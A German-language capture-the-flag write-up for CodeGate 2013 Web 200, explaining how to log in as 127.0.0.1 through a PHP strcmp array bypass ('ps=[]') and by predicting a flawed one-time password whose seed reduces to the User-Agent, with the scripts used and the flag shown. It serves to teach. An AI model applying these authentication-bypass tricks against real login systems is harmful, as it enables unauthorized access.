CodeGate 2013 Quals – Web 200

Bei dieser Challenge (web 200) wird uns eine Webseite genannt, die angegriffen werden soll um so an den Schlüssel zu gelangen. Ein erster Aufruf der URL liefert folgendes Bild:

CodeGate CTF 2013 - web 200 - website

Neben dem Quellcode der gesamten Webseite und einer Login-Möglichkeit, wird auch eine Seite zur Generierung eines One-Time-Passwords (OTP) bereit gestellt, die sich so darstellt:

CodeGate CTF 2013 - web 200 - one time password

Es wird also ein Einmal-Passwort generiert, das sich alle 20 Sekunden ändert und demnach auch nur für 20 Sekunden Gültigkeit besitzt. Darüber hinaus wird eine ID angegeben, die aus der derzeitigen IP-Adresse besteht. Aus dem Quellcode der Login-Seite (login_ok.php) lässt sich folgendes entnehmen:

if (strcmp($password, $_POST["ps"]) == 0) {
  echo "welcome, <b>".$_POST["id"]."</b><br />";
  echo "<input type='button' value='back' onclick='history.back();' />";

  if ($_POST["id"] == "127.0.0.1") {
    echo "<hr /><b>".$flag."</b><br />";
  }
}

Daraus ergibt sich das Ziel, um diese Challenge zu lösen. Der Login muss über die ID “127.0.0.1” (localhost) realisiert werden, damit der Inhalt der Flag-Datei offenbart wird. Dazu müssen wir entweder von der IP-Adresse 127.0.0.1 auf die OTP-Generierung zugreifen, was nicht möglich sein wird oder anderweitig die Passwortabfrage unter Angabe dieser ID umgehen.

Auch wenn es für die Challenge eine sehr einfache Lösung gibt, das “strcmp()” aus Zeile 1 durch Angabe von “id=127.0.0.1&ps=[]” zu umgehen und so als 127.0.0.1 akzeptiert zu werden, möchte ich hier doch noch einen anderen Lösungsweg vorstellen.

Dieser setzt bei der Berechnung des One-Time-Passwords an, die aus der Datei “otp_util.php” entnommen werden kann.

<?php
  $flag_file = "/flag.txt";

  function make_otp($user) {
    // acccess for 20secs.
    $time = (int)(time()/20);
    $seed = md5(file_get_contents($flag_file)).md5($_SERVER['HTTP_USER_AGENT']);
    $password = sha1($time.$user.$seed);
    return $password;
  }
?>

Das Einmal-Passwort entsteht durch Berechnung des SHA1-Hashes aus Timestamp, der ID und einem Seed, der sich aus dem Inhalt der Flag-Datei und dem User-Agent des Besuchers ergibt (Zeile 8). Hier ist jedoch das Problem, denn in der Funktion wird die Variable $flag_file verwendet (Zeile 7), die jedoch außerhalb der Funktion definiert (Zeile 2) wurde und ohne das Schlüsselwort “global” referenziert wird.

Die Varialbe $flag_file ist somit innerhalb der Funktion nicht definiert und der erste MD5-Teil des Seeds damit leer. Der Seed selbst hängt nur noch vom User-Agent des Besuchers ab. Da uns dieser bekannt ist und wir ihn sogar selbst beeinflussen könnten, ist der Seed damit statisch und wir kennen dessen Inhalt. Damit sind uns theoretisch alle Bestandteile, die zur Berechnung des One-Time-Passwords erforderlich sind, bekannt.

Die Idee ist also, den Zeitstempel, die ID und den Seed genau zu bestimmen, das Passwort für die ID 127.0.0.1 selbst zu berechnen und anschließend innerhalb von 20 Sekunden den Login durchzuführen.

Dazu bestimmen ich zunächst den genauen Zeitunterschied zwischen meiner lokalen Systemzeit und dem Challenge-Server, indem ich ein One-Time-Password online generieren lasse und durch Iteration des Zeitstempels, den genauen Unterschied bestimme:

<?php

  make_otp("127.0.0.1");

  function make_otp($user) {
    for ($diff=-3600*10; $diff<= 3600*10; $diff++) {

      $time = (int)((time()+$diff)/20);
      $seed = md5("Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0");
      $password = sha1($time.$user.$seed);

      if ($password == "a75d29083004d100ef224e78f357b8469f2c11d9") {
        print "Time shift: $diff\n";
        return($password);
      }
    }
  }

?>

Durch Ausführung dieses Quellcodes erhalten wir:

rup0rt@lambda:~/CodeGate2013$ php web200.php
Time Shift: -11

Der Zeitunterschied zum Challenge Server beträgt daher -11 Sekunden. Durch Anpassung des Skriptes lässt sich nun eine Funktion erstellen, die ein für 20 Sekunden gültiges One-Time-Password der ID “127.0.0.1” voraus berechnet.

<?php

  make_otp("127.0.0.1");

  function make_otp($user) {
    $time = (int)((time()-11)/20);
    $seed = md5("Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0");
    $password = sha1($time.$user.$seed);

    return($password);
  }

?>

Nach Ausführung erhalten wir folgendes Ergebnis:

rup0rt@lambda:~/CodeGate2013$ php web200.php
97fd38457cab9eaef7b838f6bf77b557c1f15641

Nach Übergabe der ID “127.0.0.1” sowie des berechneten Passwortes an die Login-Seite mit dem Firefox-Addon Tamper Data, sehen wir folgende Webseite:

CodeGate CTF 2013 - web 200 - solution

Unser selbst berechnetes One-Time-Password wurde akzeptiert und der Zugang zur Lösungsseite dieser Challenge gewährt.

Die Antwort lautet “I_L1K3_caitlyn_LOLOL“.

Leave a Reply

Your email address will not be published. Required fields are marked *